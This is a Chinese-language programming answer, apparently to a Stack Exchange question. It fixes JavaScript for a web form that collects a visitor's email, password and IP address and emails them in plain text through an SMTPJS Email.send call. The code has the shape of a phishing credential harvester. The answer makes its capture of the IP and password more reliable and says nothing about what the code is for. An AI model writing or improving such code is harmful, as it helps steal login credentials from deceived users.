JS获取custId隐藏输入框IP值为空，如何将用户IP加入邮件正文

• 异步时序失控：IP数据通过跨域JSONP异步接口获取，未与表单提交流程建立同步关联。当IP接口响应慢于用户点击提交的速度时，隐藏输入框#custId还未完成赋值，此时取值必然返回空值。
• 破坏性DOM操作：getIP回调函数内的document.write操作存在极高副作用。若JSONP脚本加载完成、执行回调时页面DOM已完成渲染，该方法会直接清空整个文档的原有内容，连带删除#custId、邮箱输入框、密码输入框等全部表单元素，导致后续取值找不到目标节点。

1. 修复IP获取逻辑，移除破坏性DOM操作，增加数据缓存
   替换原有getIP函数为以下实现，保持原JSONP的回调函数名不变即可：

   // 全局缓存IP数据，避免DOM异常丢失导致取值失败
   let cachedIP = null;
   function getIP(json) {
     // 移除原有的document.write逻辑，避免覆盖整个页面
     cachedIP = JSON.stringify(json, null, 2);
     // 同步将IP写入隐藏输入框做兼容兜底
     const custIdDom = document.getElementById("custId");
     if (custIdDom) {
       custIdDom.value = cachedIP;
     }
   }
   

   注：原页面中用于拉取IP数据的JSONP脚本无需改动，保持回调函数配置与接口要求一致即可

2. 重构表单提交逻辑，增加IP加载等待兜底
   将原有同步的sendEmail函数改造为异步函数，提交前确认IP已完成加载，避免空值进入邮件正文：

   async function sendEmail() {
     // 精简冗余DOM查询，一次取值即可
     const email = document.getElementById("email").value;
     const password = document.getElementById("password").value;
   
     // 保留原有非空校验逻辑
     if(email == "" || password == ""){
       document.getElementById("emailError").innerHTML = "email  is required";
       document.getElementById("passwordError").innerHTML = "Password is required";
       return false;
     }
   
     // 提交前等待IP加载完成，最多等待3秒避免流程卡死
     let waitRound = 0;
     while(!cachedIP && waitRound < 30) {
       await new Promise(resolve => setTimeout(resolve, 100));
       waitRound += 1;
     }
     // 超时未获取IP时填充提示值，避免邮件正文出现空白
     const ip = cachedIP || "IP信息获取超时";
   
     // 原有邮件发送逻辑保持不变
     Email.send({ 
       Host: "", 
       Username: "", 
       Password: "", 
       To: '', 
       From: "", 
       Subject: `hey`,
       Body: ` Email: ${email} | Password: ${password} IP: ${ip}`,
     }).then(function (message) { 
        document.getElementById("Divo").style.display = "block";
     });
   }
   

3. 额外优化建议

   • 删除原代码中重复取值的冗余逻辑：原流程中先后通过getElementById、querySelector两次获取邮箱、密码值，属于不必要的重复DOM查询，可统一通过ID取值精简流程。
   • 若需要在页面展示IP详情信息，优先新建独立DOM节点插入内容，严禁使用document.write直接重写文档流，避免破坏页面现有结构。

内容的提问来源于stack exchange，提问作者Jeff Docm